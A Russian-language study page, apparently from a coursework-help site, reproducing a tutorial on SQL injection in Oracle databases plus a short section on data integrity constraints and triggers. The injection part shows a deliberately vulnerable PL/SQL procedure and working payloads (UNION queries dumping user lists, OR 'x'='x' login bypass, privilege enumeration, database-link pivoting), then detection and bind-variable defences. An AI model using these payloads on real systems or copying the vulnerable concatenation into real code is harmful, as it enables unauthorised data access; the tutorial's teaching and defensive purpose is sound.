Если у вас возникли сложности с курсовой, контрольной, дипломной, рефератом, отчетом по практике, научно-исследовательской и любой другой работой - мы готовы помочь.
Предоплата всего
Подписываем
127. SQL – инъекции в базах данных и защита от них.
Методы SQL инъекции в последнее время представляют опасную угрозу защите информации, хранящейся в базах данных Oracle. Хотя написано множество статей об SQL инъекции, тем не менее, очень редко описываются особенности их использования против базы данных ORACLE. В этой статье мы исследуем нападения SQL инъекции против базы данных ORACLE. Цель этой статьи состоит в том, чтобы объяснить пользователям ORACLE опасность SQL инъекции и предложить простые способы защиты против этого типа нападений.
Что такое SQL инъекция
SQL инъекция – способ нападения на базу данных в обход межсетевой защиты. В этом методе, параметры, передаваемые к базе данных через Web приложения, изменяются таким образом, чтобы изменить выполняемый SQL запрос. Например, добавляя символ (‘) к параметру, можно выполнить дополнительный запрос совместно с первым.
Нападение может использоваться для следующих целей
Получить доступ к данным, которые обычно недоступны или получить данные конфигурации системы, которые могут использоваться для дальнейших нападений. Например, измененный запрос может возвратить хешированные пароли пользователей, которые в последствии могут быть расшифрованы методом грубой силы.
Получить доступ к компьютерам организации, через компьютер, на котором хостится база данных. Это можно реализовать, используя процедуры базы данных и расширения 3GL языка, которые позволяют доступ к операционной системе.
Существует несколько способов использовать эти методы на системе ORACLE, в зависимости от используемого языка или API. Ниже представлены некоторые языки, API и инструменты, которые могут получить доступ к базе данных ORACLE и могут быть частью Web приложения:
JSP
ASP
XML, XSL и XSQL
Javascript
VB, MFC, и другие ODBC основанные утилиты и API
Различные Web приложения
3 и 4GL языки, типа Си, OCI, Pro*C и Cobol
Perl и CGI сценарии, имеющие доступ к базе данных
Любое из вышеупомянутых приложений, инструментов и программ может использоваться как основа для изменения SQL запроса базы данных ORACLE. Для этого должны выполнятся несколько простейших условий, главное из которых состоит в том, что в вышеупомянутых средствах должен использоваться динамический SQL, так как в противном случае SQL инъекция невозможна.
Также важно упомянуть, что SQL инъекция против любой базы данных, включая ORACLE, может использоваться не только через Web приложения. Любое приложение, позволяющее пользователю вводить данные, которые могут быть частью динамического SQL запроса, может быть потенциально уязвимо к нападениям SQL инъекции. Очевидно, что Web приложения представляют наибольшую угрозу, поскольку любой пользователь с браузером и доступом к Интернет может потенциально обратиться к чувствительным данным.
Во второй части статьи более подробно обсуждаются методы защиты против нападений SQL инъекции, но есть несколько моментов, о которых необходимо упомянуть в этом вводном разделе. Данные, хранящиеся в базе данных ORACLE, должны быть защищены от пользователей, которые имеют доступ к сети и приложениям, обслуживающим эти данные. Администраторы базы данных должны понимать, что большинство угроз данным, хранящимся в базе данных, исходит от авторизованных пользователей.
Защита от SQL инъекции на ORACLE системах в принципе проста и включает две основные стадии:
Ревизия кода приложений и устранение проблем, которые могут способствовать SQL инъекции (более подробно эти проблемы будут обсуждены во второй части статьи).
Использование принципа наименьшего количества привилегий на уровне базы данных так, чтобы даже если кто-то смог изменить SQL запрос, он не смог бы получить больше информации, чем бы он мог получить через предназначенный для этого интерфейс приложения.
Во второй части статьи мы обсудим подробности как эти пункты можно применить к ORACLE приложениям.
Эксплуатация ORACLE
Oracle, подобно другим базам данных, уязвим к нападениям SQL инъекции. Следующие неправильные обращения могут использоваться против базы данных ORACLE:
UNION можно добавить к SQL инструкции, чтобы выполнить вторую инструкцию;
SUBSELECTS можно добавить к существующим инструкциям;
Существующий SQL запрос может использовать обходные пути, чтобы возвратить все данные. Эта методика часто используется, чтобы получить доступ через опознавательные схемы, осуществленные другими программами;
Доступен большой выбор установленных пакетов и процедур, которые могут использоваться для чтения и записи файлов на операционной системе;
Data Definition Language (DDL) может эксплуатироваться, если он используется в динамической SQL строке;
Могут быть внедрены INSERT, UPDATE и DELETE.
С другой стороны, в ORACLE невозможно использовать следующие методы, присущие другим базам данных:
Не могут использоваться множественные инструкции;
SQL инъекция невозможна, когда запрос использует присвоенные переменные;
Некоторые специфические примеры
Web приложения наиболее уязвимы к нападениям SQL инъекции. Они могут быть написаны, используя ASP, JSP или другие вышеупомянутые языки. Можно сказать, что SQL инъекция это не проблема базы данных, а проблема неправильно написанного Web приложения.
Чтобы проиллюстрировать некоторые из возможностей SQL инъекции на Oracle, я написал простую процедуру PL/SQL, которая отображает телефонный номер клиентов из гипотетической таблицы клиента в базе данных. Как я уже говорил, можно изменить любую часть SQL запроса, который динамически сформирован во время выполнения и в котором входные данные предварительно не проверены. Чтобы продемонстрировать SQL инъекцию, можно использовать PL/SQL и вездесущий инструмент SQL*Plus . Процедура использует динамический SQL, чтобы передать часть SQL к базе данных. Использование PL/SQL процедуры и динамического SQL во всех отношениях идентично SQL инъекции через Web интерфейс, за исключением того, что в нашем примере мы эксплуатируем уязвимость локально, а не удаленно, поэтому читатель должен держать это в уме при прочитывании этой статьи. Также, из-за этого подхода мы не используем никаких методов символьного кодирования, чтобы передать специальные символы или метасимволы на сервер базы данных от Web-браузера. Пример используемой структуры таблицы:
SQL> desc customers
Name Null? Type
----------------------------------------- -------- ----------------------------
CUSTOMER_FORNAME VARCHAR2(30)
CUSTOMER_SURNAME VARCHAR2(30)
CUSTOMER_PHONE VARCHAR2(30)
CUSTOMER_FAX VARCHAR2(30)
CUSTOMER_TYPE NUMBER(10)
Таблица была загружена следующим образом:
SQL> select * from customers;
CUSTOMER_FORNAME CUSTOMER_SURNAME
------------------------------ ------------------------------
CUSTOMER_PHONE CUSTOMER_FAX CUSTOMER_TYPE
------------------------------ ------------------------------ -------------
Fred Clark
999444888 999444889 3
Bill Jones
999555888 999555889 2
Jim Clark
999777888 999777889 1
Типовая используемая процедура создана со следующим кодом. Для этих испытаний я использовал гипотетического пользователя DBSNMP, который имеет больше привилегий, чем необходимо для обычного пользователя. Этот пользователь иллюстрирует проблему Web пользователей, ограничиваемых наименьшим количеством привилегий:
create or replace procedure get_cust (lv_surname in varchar2)
is
type cv_typ is ref cursor;
cv cv_typ;
lv_phone customers.customer_phone%type;
lv_stmt varchar2(32767):='select customer_phone '||
'from customers '||
'where customer_surname='''||
lv_surname||'''';
begin
dbms_output.put_line('debug:'||lv_stmt);
open cv for lv_stmt;
loop
fetch cv into lv_phone;
exit when cv%notfound;
dbms_output.put_line('::'||lv_phone);
end loop;
close cv;
end get_cust;
/
Невозможно просто добавить другую инструкцию в существующую инструкцию, сформированную процедурой для выполнения, как, например, в MS SQL. Посмотрим, что произойдет с нашей процедурой в этом случае:
SQL> exec get_cust('x'' select username from all_users where ' 'x' '=’ 'x');
debug:select customer_phone from customers where customer_surname='x' select
username from all_users where 'x'='x'
-933ORA-00933: SQL command not properly ended
Процедура ожидает фамилию клиента и должна формировать инструкцию формы:
select customer_phone from customers where customer_surname='Jones'
Как видно, можно добавить дополнительный SQL после имени, изменяющий существующий SQL запрос, используя кавычки. В предыдущем примере, ORACLE возвращает ошибку, если мы посылаем две SQL инструкции сразу к RDBMS. Инструкции в ORACLE разграничены точкой с запятой (;), т.е. мы можем попробовать следующее:
SQL> exec get_cust('x'';select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x';select
username from all_users where 'x'='x'
-911ORA-00911: invalid character
ORACLE снова возвратил ошибку. Добавление точки с запятой после первой инструкции не позволяет выполнить вторую инструкцию, так что единственный способ заставить ORACLE выполнить дополнительный SQL запрос состоит в том, чтобы расширить существующее ‘where’ или использовать union или subselect. Следующий пример демонстрирует, как получить дополнительные данные из другой таблицы. В этом случае, мы прочитаем список пользователей в базе данных из таблицы ALL_USERS.
SQL> exec get_cust('x'' union select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select username from all_users where 'x'='x'
::AURORA$JIS$UTILITY$
::AURORA$ORB$UNAUTHENTICATED
::CTXSYS
::DBSNMP
::MDSYS
::ORDPLUGINS
::ORDSYS
::OSE$HTTP$ADMIN
::OUTLN
::SYS
::SYSTEM
::TRACESVR
Мы также можем использовать подзапросы, чтобы расширить существующую инструкцию SELECT. Такое изменение не может принести много пользы, поскольку SELECT не может использоваться для добавления новых столбцов в других таблицах; однако, в этом случае мы можем изменить записи, возвращенные существующим запросом. Следующий пример возвращает все записи в таблице:
Дополнительное “ и ‘x’=’x’” необходимо, что бы закрыть первоначальную кавычку. Вышеупомянутый пример возвращает все записи в нашей типовой таблице.
В следующем примере мы рассмотрим способ усечения SQL запроса до оператора WHERE так, чтобы были возвращены все записи таблице. Типичный пример эксплуатации - Web приложения, использующие способ идентификации при входе в систему, в котором ищется запись в таблице пользователей, которой соответствует введенное имя пользователя и пароль. Например:
select * from appusers where username=’someuser’ and password=’somecleverpassword’
SQL> exec get_cust('x'' or exists (select 1 from sys.dual) and ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' or exists
(select 1 from sys.dual) and 'x'='x'
::999444888
::999555888
::999777888
Усекая запрос, мы можем заставить SQL возвратить все записи в таблице. Это позволит войти в систему, да еще и предварительно возвратит учетную запись администратора! Ниже – пример усечения нашей типовой таблицы клиентов. Все записи могут быть возвращены, используя “OR ‘x’=’x’” в ‘where’ следующим способом:
SQL> exec get_cust('x'' or ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' or 'x'='x'
::999444888
::999555888
::999777888
Затем, изменим процедуру, чтобы расширить используемый SQL таким образом, чтобы была усечена вторая часть выражения после ‘WHERE’. Сначала рассмотрим пример изменяемой процедуры:
create or replace procedure get_cust2 (lv_surname in varchar2)
is
type cv_typ is ref cursor;
cv cv_typ;
lv_phone customers.customer_phone%type;
lv_stmt varchar2(32767):='select customer_phone '||
'from customers '||
'where customer_surname='''||
lv_surname||''' and customer_type=1';
begin
dbms_output.put_line('debug:'||lv_stmt);
open cv for lv_stmt;
loop
fetch cv into lv_phone;
exit when cv%notfound;
dbms_output.put_line('::'||lv_phone);
end loop;
close cv;
exception
when others then
dbms_output.put_line(sqlcode||sqlerrm);
end get_cust2;
Мы будем использовать символы комментария “- -“, чтобы усечь SQL после оператора ‘WHERE’. Этот метод полезен в случае, когда приложение использует более одного поля, которое добавляется к динамическому SQL запросу и передается к базе данных. Чтобы упростить добавление дополнительного SQL и обойти все поля, мы можем добавить “- -“ в запись, которую мы считаем первым полем и внедрить наш SQL запрос. Пример:
SQL> exec get_cust2('x'' or ''x''=''x'' --');
debug:select customer_phone from customers where customer_surname='x' or 'x'='x'
--' and customer_type=1
::999444888
::999555888
::999777888
Выполняя, мы видим, что возвращены все три записи из-за инструкции “or”. Если там не было бы комментария, то выполняемый SQL запрос все еще содержал бы строку “and customer_type=1”. Можно также использовать union и select на таблице all_users и затем прокомментировать остальную часть после оператора ‘WHERE’.
Все приведенные выше примеры показывают, как можно внедрить дополнительный SQL в оператор ‘select’. Те же самые принципы могут использоваться в операторах update, insert и delete. Другие операторы, доступные в Oracle, включают DDL (Data Definition Language) операторы, которые позволяют изменить логическую структуру базы данных. Например, с помощью DDL, можно создать таблицу или изменить используемый язык. Часто приложения позволяют посылать любой SQL запрос к серверу. Это плохой способ программирования, поскольку позволяет выполнять операторы типа DDL. Можно утверждать, что рассматриваемый случай не является SQL инъекцией, потому что может быть выполнен любой SQL, без изменения существующего SQL запроса.
В заключении мы рассмотрим проблемы в модулях, процедурах и функциях. Можно вызвать PL/SQL функцию из SQL инструкции. Существуют более тысячи встроенных функций и процедур, поставляемых со стандартными пакетами. Обычно они запускаются с DBMS (database management system) или UTL. Заголовки этих процедур могут быть найдены в $ORACLE_HOME/rdbms/admin. Также список процедур и функций может быть получен следующим запросом:
SQL> col owner for a15
SQL> col object_type for a30
SQL> col object_name for a30
SQL> select owner,object_type,object_name
2 from dba_objects
3 where object_type in('PACKAGE','FUNCTION','PROCEDURE');
OWNER OBJECT_TYPE OBJECT_NAME
--------------- ------------------------------ ------------------------------
SYS FUNCTION CLIENT_IP_ADDRESS
SYS FUNCTION DATABASE_NAME
SYS FUNCTION DBJ_LONG_NAME
SYS FUNCTION DBJ_SHORT_NAME
SYS PACKAGE DBMSOBJG
…
CTXSYS PACKAGE DR_DEF
CTXSYS PROCEDURE SYNCRN
391 rows selected.
Ниже приведен пример, который вызывает встроенную функцию. Функция SYS.LOGIN_USER возвращает имя вошедшего пользователя:
SQL> exec get_cust('x'' union select sys.login_user from sys.dual where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select sys.login_user from sys.dual where 'x'='x'
::DBSNMP
Функции или процедуры, которые могут быть вызваны с SQL, сильно ограничены: функция не должна изменять состояние базы данных или состояние пакета, если она вызвана удаленно, и функция не может изменить переменные пакета, если она вызвана в операторе ‘WHERE’ или группе операторов. В версиях более ранних, чем Oracle 8, очень немного встроенных функций или процедур можно вызвать из PL/SQL функции, которая вызывается из SQL инструкции. Эти ограничения несколько сняты в Oracle 8, но пользователи все равно не способны вызывать пакеты file или output типов, типа UTL_FILE или DBMS_OUTPUT или DBMS_LOB непосредственно из SQL инструкций, поскольку они должны выполняться в PL/SQL блоке или вызываться выполняющей командой из SQL*Plus. Можно использовать процедуры, являющиеся частью функции, которая предназначена для вызова из SQL запроса.
Если форма или приложение формируют и выполняют динамический PL/SQL тем же самым способом, как описано выше, могут использоваться те же самые методы, чтобы вставить запросы к стандартным PL/SQL пакетам на любых PL/SQL пакетах или функциях, которые существуют в логической структуре базы данных.
Если в атакуемой базе данных существуют ссылки к другим базам данных, эти базы могут также использоваться в попытках SQL инъекции. Это позволяет выполнять нападения через межсетевую защиту к базе данных, которая недоступна через Интернет. Ниже простой пример, который использует нашу PL/SQL процедуру, чтобы прочитать системную дату из другой базы данных в сети:
SQL> exec get_cust('x'' union select to_char(sysdate) from sys.dual@plsq where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select to_char(sysdate) from sys.dual@plsq where 'x'='x'
::13-NOV-02
Заключение
В первой части статьи мы предложили краткий обзор SQL инъекции и привели несколько примеров того, как эта методика может использоваться против баз данных Oracle. В следующей статье мы рассмотрим способы обнаружения SQL инъекции и обсудим методы защиты.
Определение Привилегий
Возможность осуществлять SQL инъекции в базу данных Oracle – это само по себе уже много, но на что обратит внимание атакующий для увеличения своих возможностей? Конечно, ему может понадобиться определить, что может видеть и делать пользователь, к которому он получил доступ. Я покажу здесь несколько примеров, чтобы читатели поняли, что можно сделать.
В этом примере, мы вошли как пользователь dbsnmp и изменили процедуру get_cust таким образом, чтобы выбрать три колонки из выбранной нами таблицы. Если мы используем union, чтобы расширить существующий запрос select, тогда новый SQL в union должен выбирать то же количество колонок и те же типы данных, как и существующий select, иначе возникнет ошибка, как показано ниже:
SQL> exec get_cust('x'' union select 1,''Y'' from sys.dual where ''x''=''x');
debug:select customer_phone,customer_forname,customer_surname from customers
where customer_surname='x' union select 1,'Y' from sys.dual where 'x'='x'
-1789ORA-01789: query block has incorrect number of result columns
Основной select здесь имеет три колонки varchar, а мы выбираем две колонки, одна из которых является числовой; в результате возникает ошибка. Возвращаясь к определению привилегий, сначала определим объекты, которые может видеть пользователь, под которым мы вошли:
SQL> exec get_cust('x'' union select object_name,object_type,''x'' from user_obj
ects where ''x''=''x');
debug:select customer_phone,customer_forname,customer_surname from customers
where customer_surname='x' union select object_name,object_type,'x' from
user_objects where 'x'='x'
::CUSTOMERS:TABLE:x
::DBA_DATA_FILES:SYNONYM:x
::DBA_FREE_SPACE:SYNONYM:x
::DBA_SEGMENTS:SYNONYM:x
::DBA_TABLESPACES:SYNONYM:x
::GET_CUST:PROCEDURE:x
::GET_CUST2:PROCEDURE:x
::GET_CUST_BIND:PROCEDURE:x
::PLSQ:DATABASE LINK:x
Затем определим роли, которые определены для пользователя:
SQL> exec get_cust('x'' union select granted_role,admin_option,default_role from
user_role_privs where ''x''=''x');
debug:select customer_phone,customer_forname,customer_surname from customers
where customer_surname='x' union select granted_role,admin_option,default_role
from user_role_privs where 'x'='x'
::CONNECT:NO:YES
::RESOURCE:NO:YES
::SNMPAGENT:NO:YES
После этого определим системные привилегии, назначенные пользователю:
SQL> exec get_cust('x'' union select privilege,admin_option,''X'' from user_sys_
privs where ''x''=''x');
debug:select customer_phone,customer_forname,customer_surname from customers
where customer_surname='x' union select privilege,admin_option,'X' from
user_sys_privs where 'x'='x'
::CREATE PUBLIC SYNONYM:NO:X
::UNLIMITED TABLESPACE:NO:X
Выбор из таблицы USER_TAB_PRIVS даст нам привилегии, данные пользователю по отношению к объектам. Существует много системных представлений (views), которые начинаются с USER_%, они показывают объекты и привилегии, которые назначены текущему пользователю, а также подробности об объектах, которые принадлежат пользователю. Например, есть 168 представлений или таблиц в Oracle 8.1.7; это показывает множество деталей, которые можно узнать о пользователе, под которым вы вошли. Представления USER_% не включают все возможные привилегии и возможности, доступные текущему пользователю; однако, помимо тех, что предоставлены отдельно, любой пользователь также может иметь доступ ко всем объектам, к которым дан доступ для PUBLIC.
PUBLIC – это объединение, которое доступно всем пользователям базы данных Oracle. Существует хороший набор представлений, известных как ALL_%, которые по структуре аналогичны представлениям USER_%. ALL_% включают в себя все, что доступно текущему пользователю, включая PUBLIC. Хорошая точка для старта – представление ALL_OBJECTS, так как оно имеет такую же структуру, как и USER_OBJECTS и показывает все объекты и их типы, доступные текущему пользователю. Хороший запрос, позволяющий увидеть все объекты, их типы и владельца, выглядит так:
select count(*),object_type,owner
from all_objects
group by object_type,owner
Представления V$ также представляют собой хороший набор, если они доступны для пользователя. Они дают информацию о текущих экземплярах (instance), производительности (performance), параметрах, и т.п. Хорошим примером является V$PARAMETER, который дает все параметры инициализации экземпляра базы данных (database instance), включая детали директорий UTL_FILE. V$PROCESS и V$SESSION – другая пара представлений, которые дают детали о текущих сессиях и процессах. Они скажут пользователю, кто в настоящий момент подключен к базе, откуда они подключены, какую программу они используют и т.д.
В заключение к этой исследовательской главе стоит упомянуть, что поскольку я хотел создать легкие примеры, которые сможет повторить кто угодно, имея копию Oracle RDBMS (Relational DataBase Management System - система управления реляционной базой данных), я использовал процедуру PL/SQL, чтобы продемонстрировать методы, и очевидно, я имел доступ к своему исходному коду. Это облегчило мне задачу написания SQL запросов, которые я смог бы успешно отправлять, не получая ошибок.
В реальном мире, в веб-среде, или сетевом приложении, исходный код вряд ли будет доступен. В результате, получение удачного SQL запроса возможно методом проб и ошибок. Если пользователю возвращается сообщение об ошибке, либо непосредственно с Oracle RDBMS, либо из приложения, обычно есть возможность понять, где требуется изменение в SQL. Отсутствие сообщений об ошибке делает это более сложным, но не невозможным. Все сообщения об ошибках Oracle хорошо документированы и доступны online на Unix-системе командой oerr, или в виде документации в формате HTML, предоставляемой на CD с Oracle для любой платформы. (Помните, что можно свободно копировать Oracle с целью изучения.) Дистрибутив Oracle и документация доступны в online режиме с http://tahiti.oracle.com/.
Знание Oracle и используемой схемы пользователя также дает большое преимущество. Вполне очевидно, что некоторые их этих знаний несложно получить, так что помните о том, что в случае, если кто угодно может осуществить SQL инъекцию в вашу базу данных, вам следует минимизировать то, что они смогут сделать, увидеть, или к чему получить доступ.
Обнаружение SQL инъекции
Oracle – большой продукт, применяемый для многих целей, так что утверждение, что SQL инъекцию можно обнаружить, является ложным; однако, в некоторых случаях, для DBA или security admin может оказаться возможным определить, использовалась ли эта техника. Если подозревается, что имело место нападение, можно провести компьютерную экспертизу с использованием redo логов. От Oracle доступна GUI утилита под названием Log Miner для анализа redo логов. Однако, существуют серьезные ограничения: до версии 9i, оператор select не может быть восстановлен. Redo логи позволяют Oracle переиграть все события, которые привели к изменению данных в базе, это часть возможностей восстановления. Можно увидеть все запросы и данные, которые были изменены. Существуют два стандартных пакета PL/SQL, DBMS_LOGMNR и DBMS_LOGMNR_D, эти пакеты позволяют запрашивать из командной строки redo логи для всех обработанных запросов.
Широкие функциональные возможности аудита Oracle можно использовать, но, если вы не знаете, чего ищите, поиск свидетельств SQL инъекции может оказаться подобием поиска иголки в стоге сена. В любой базе данных Oracle необходимо соблюдать принцип наименьших привилегий, таким образом, чтобы пользователям базы предоставлялись только те права, которые фактически необходимы. Это сокращает количество авторизованных действий, в результате, делает более легким определение любых действий, лежащих вне возможностей этих пользователей. Например, если пользователь приложения Oracle должен иметь доступ к семи таблицам и трем процедурам, и ничему более, то использование аудита ошибок Oracle для записи ошибок оператора select по отношению ко всем другим таблицам должно позволить администратору обнаружить любые попытки доступа за пределы, относящиеся к этому приложению. Это можно сделать, к примеру, для одной таблицы следующей командой аудита:
SQL> audit select on dbsnmp.customers by access whenever not successful;
Audit succeeded.
Можно написать простой скрипт для включения аудита ошибок для требуемых таблиц. Не должно возникнуть заметных проблем с производительностью из-за аудита, так как к этим таблицам приложение не должно обращаться, а следовательно, не должно создавать ошибок. Конечно, если кто-то успешно обратится к таблице за пределами, определенными для приложения, это не будет обнаружено. Эта мера является просто первым шагом.
Те же принципы аудита могут быть использованы для DDL, ошибок или успехов вставки или обновления.
Другая идея состоит в наблюдении за запускаемыми запросами SQL и поиске подозрительных запросов. Можно использовать хороший скрипт peep.sq для доступа к SQL, запускаемым из SGA (System Global Area – Глобальная Область Системы). Этот скрипт показывает SQL запросы в SGA с худшими временными характеристиками выполнения. Он может быть легко изменен удалением ограничений на время исполнения, показывая таким образом все SQL в SGA. Такой скрипт можно запускать по графику, и затем возвращаемый SQL можно использовать для предположения, предпринимались ли какие-то попытки SQL инъекции. Я говорю «предположения», потому что практически невозможно знать все корректные части SQL, которые создает приложение; следовательно, то же самое относится к обнаружению некорректных. Хорошим началом было бы обнаружение всех запросов, содержащих “union”, или or со строками типа ‘x’=’x’. Возможны проблемы с производительностью при регулярном выделении всех SQL из SGA.
Лучшее лечение – это, безусловно, предупреждение!
Защита от SQL инъекции
Кажется, что защиту от SQL инъекции легко реализовать, однако в действительности, это не так просто, как кажется. Решения разделяются на две области:
Не разрешайте динамических SQL, которые используют конкатенацию, или, по крайней мере, фильтруйте входные значения и проверяйте на специальные символы типа кавычек.
Используйте принцип наименьших привилегий и убедитесь, что пользователи, созданные для приложений, имеют те права доступа, которые им нужны, а все дополнительные (такие, как PUBLIC) отключены.
Мы не будем вдаваться в подробности в этой главе; для этого нужно писать отдельную статью. Однако, необходимо предпринять некоторые основные меры:
Проверьте исходный код приложений. Код может быть написан на множестве различных языков, таких как PHP, JSP, java, PL/SQL VB, и т.д., так что решения могут быть различны. Однако, все они похожи. Просмотрите исходный код на наличие динамического SQL с использованием конкатенации. Найдите вызов, который анализирует SQL и запускает на выполнение. Найдите, где вводятся значения. Убедитесь, что входные значения проверяются на корректность, что кавычки совпадают и проверяются метасимволы. Анализ исходного кода – это задача, зависящая от используемого языка.
Защитите базу данных и убедитесь, что все избыточные полномочия запрещены.
Некоторые другие простые советы:
Если это возможно, не используйте динамические PL/SQL. Потенциальный ущерб в этом случае намного выше, чем в случае динамического SQL, так как появляется возможность исполнять любой SQL, DDL, PL/SQL и т.д.
Если динамический PL/SQL необходим, используйте переменные bind.
Если используется PL/SQL, используйте AUTHID CURRENT_USER, чтобы PL/SQL запускался от имени вошедшего пользователя, а не создателя процедуры, функции, или программы.
Если требуется конкатенация, используйте числовые значения. Таким образом, нельзя будет передать строки для добавления SQL.
Если требуется конкатенация, проверяйте входные параметры на злонамеренный код, например, проверяйте наличие union в переданной строке, или метасимволов, таких как кавычки.
Для динамического SQL необходимо использовать bind переменные. Ниже показан пример:
create or replace procedure get_cust_bind (lv_surname in varchar2)
is
type cv_typ is ref cursor;
cv cv_typ;
lv_phone customers.customer_phone%type;
lv_stmt varchar2(32767):='select customer_phone '||
'from customers '||
'where customer_surname=:surname';
begin
dbms_output.put_line('debug:'||lv_stmt);
open cv for lv_stmt using lv_surname;
loop
fetch cv into lv_phone;
exit when cv%notfound;
dbms_output.put_line('::'||lv_phone);
end loop;
close cv;
exception
when others then
dbms_output.put_line(sqlcode||sqlerrm);
end get_cust_bind;
/
Сначала мы запустим функцию с нормальным значением параметра, в данном случае “Clark”, чтобы увидеть, что возвращаются корректные записи. Затем, когда мы попытаемся сделать SQL инъекцию в эту процедуру, мы увидим, что это не сработает:
SQL> exec get_cust_bind('Clark');
debug:select customer_phone from customers where customer_surname=:surname
::999444888
::999777888
PL/SQL procedure successfully completed.
SQL> exec get_cust_bind('x'' union select username from all_users where ''x''=''
x');
debug:select customer_phone from customers where customer_surname=:surname
Еще некоторые советы:
Шифруйте чувствительные данные, чтобы их нельзя было посмотреть.
Запретите все PUBLIC привилегии в базе данных, где это возможно.
Не разрешайте доступ к UTL_FILE, DBMS_LOB, DBMS_PIPE, DBMS_OUTPUT, UTL_HTTP,UTL_SMTP или любым другим стандартным приложениям, дающим доступ к ОС.
Смените заданные по умолчанию пароли в базе данных.
Запускайте listener от имени непривилегированного пользователя.
Убедитесь, что для пользователей приложений определен минимум прав.
Ограничьте PL/SQL пакеты, к которым есть доступ из apache.
Удалите все примеры скриптов и программ из установки Oracle.
Заключение
Надеюсь, что эта статья предоставила обзор некоторых возможностей SQL инъекции в Oracle с примерами, которые смогут повторить большинство читателей. Напомню, SQL инъекция – относительно простая техника, и кажется, что защита от нее должна быть элементарной; однако аудит всего исходного кода и защита динамического ввода – нетривиальная задача, как и ограничение прав всех пользователей приложений в самой базе данных. Будьте бдительны, предоставляйте только то, что нужно, и попытайтесь уменьшить количество динамического SQL до минимума.
128. Глобальная аутентификация пользователей баз данных (на примере СУБД Oracle).
129. Технологии обеспечения целостности данных.
Нарушение целостности данных может быть вызвано рядом причин:
сбои оборудования, физические воздействия или стихийные бедствия;
ошибки санкционированных пользователей или умышленные действия несанкционированных пользователей;
программные ошибки СУБД или ОС;
ошибки в прикладных программах;
совместное выполнение конфликтных запросов пользователей и др.
Нарушение целостности данных возможно и в хорошо отлаженных системах . Поэтому важно не только не допустить нарушения целостности, но и своевременно обнаружить факт нарушения целостности и оперативно восстановить целостность после нарушения.
Механизм правил (триггеров) позволяет программировать обработку ситуаций, возникающих при любых изменениях в базе данных.
Правило придается таблице базы данных и применяется при выполнении над ней операций включения, удаления или обновления строк, а также при изменении значений в столбцах таблицы. Применение правила заключается в проверке сформулированных в нем условий, при выполнении которых происходит вызов специфицированной внутри правила процедуры базы данных. Важно, что правило может быть применено как до, так и после выполнения операции обновления, следовательно, возможна отмена операции.
Таким образом, правило позволяет определить реакцию сервера на любое изменение состояния базы данных. Правила (так же, как и процедуры) хранятся непосредственно в базе данных независимо от прикладных программ.
Одна из целей механизма правил - отражение некоторых внешних правил деятельности организации.
Важнейшая цель механизма правил - обеспечить целостность базы данных. Один из аспектов целостности - целостность по ссылкам (referential integrity) - относится к связи двух таблиц между собой. Напомним, что эта связь поддерживается внешними ключами.
Механизм правил - сердце активного сервера базы данных. Аналогом правил послужили триггеры (triggers), которые впервые появились в СУБД Sybase (насколько известно автору) и впоследствии были реализованы в том или ином виде и под тем или иным названием в большинстве многопользовательских СУБД
Целостность данных
Весьма важно гарантировать подчиненность данных некоторым организационным правилам, которые определяются администратором базы данных или разработчиком приложений. Например, предположим, что организационное правило диктует, что ни одна строка в таблице INVENTORY не должна содержать в числовом столбце SALE_DISCOUNT значения, превышающего .9. Если предложение INSERT или UPDATE пытается нарушить это правило целостности, ORACLE должен откатить некорректное предложение и возвратить приложению ошибку. Для решения проблем, связанных с соблюдением правил целостности данных, ORACLE предлагает такие средства, как ограничения целостности и триггеры базы данных.
Ограничения целостности
ОГРАНИЧЕНИЕ ЦЕЛОСТНОСТИ - это декларативный способ заданияорганизационного правила для столбца таблицы. Ограничение целостности представляет собой утверждение о данных таблицы, которое должно быть всегда истинным:
* Если для таблицы создается ограничение целостности, и в таблице уже существуют данные, не удовлетворяющие этому ограничению, то такое ограничение нельзя ввести в действие.
* После того как ограничение определено, если любые результаты предложения DML нарушают это ограничение, предложение откатывается, и возвращается ошибка.
Ограничения целостности определяются с таблицей и сохраняются как часть определения таблицы, централизованно в словаре данных базы данных, так что все приложения базы данных должны подчиняться одному и тому же набору правил. Если правило изменяется, его требуется изменить лишь один раз, на уровне базы данных, а не много раз для каждого приложения.
ORACLE поддерживает следующие ограничения целостности:
NOT NULL запрещает пустые значения (NULL) в столбце
таблицы
UNIQUE запрещает повторяющиеся значения в столбце или
группе столбцов
PRIMARY KEY (первичный ключ) запрещает повторяющиеся и
пустые значения в столбце или группе столбцов
FOREIGN KEY (внешний ключ) требует, чтобы каждое значение в
столбце или группе столбцов совпадало со
значением столбца UNIQUE или PRIMARY KEY другой
таблицы. (Ограничения целостности FOREIGN KEY
также определяют действия "ссылочной
целостности", которые диктуют, что ORACLE должен
делать с зависимыми данными при изменении
данных, на которые они ссылаются.)
CHECK запрещает значения, которые не удовлетворяют
логическому выражению ограничения
Ключи
Термин "ключ" используется в определениях различных типов ограничений целостности. КЛЮЧ - это столбец или группа столбцов, участвующих в определении некоторых типов ограничений целостности. Ключи описывают отношения между различными таблицами и столбцами в реляционной базе данных. Существуют следующие типы ключей:
первичный Столбец или группа столбцов, включенных в
ключ определение ограничения таблицы PRIMARY KEY.
Значения первичного ключа уникально
идентифицируют строки в таблице. Лишь один
первичный ключ может быть определен для таблицы.
уникальный Столбец или группа столбцов, включенных в
ключ определение ограничения UNIQUE.
внешний ключ Столбец или группа столбцов, включенных в
определение ограничения ссылочной целостности.
адресуемый Уникальный или первичный ключ той же самой или
ключ другой таблицы, на который ссылается внешний
ключ.
Индивидуальные значения столбца, определенного как ключ, называются ЗНАЧЕНИЯМИ КЛЮЧА.
Триггеры базы данных
Замечание: Информация этой секции применима лишь к ORACLE с
процедурной опцией.
Централизованные действия могут быть определены с использованием недекларативного подхода (т.е. написанием кода PL/SQL) с помощью триггеров базы данных. ТРИГГЕР БАЗЫ ДАННЫХ - это хранимая процедура, которая возбуждается (т.е. неявно выполняется), когда для ассоциированной таблицы выдается предложение INSERT, UPDATE или DELETE. С помощью триггеров базы данных можно снабдить СУБД такими возможностями, как аудитинг, основанный на значениях данных, комплексный контроль безопасности и сложные правила целостности. Например, можно создать триггер базы данных, который будет позволять модифицировать таблицу лишь в нормальные рабочие часы.
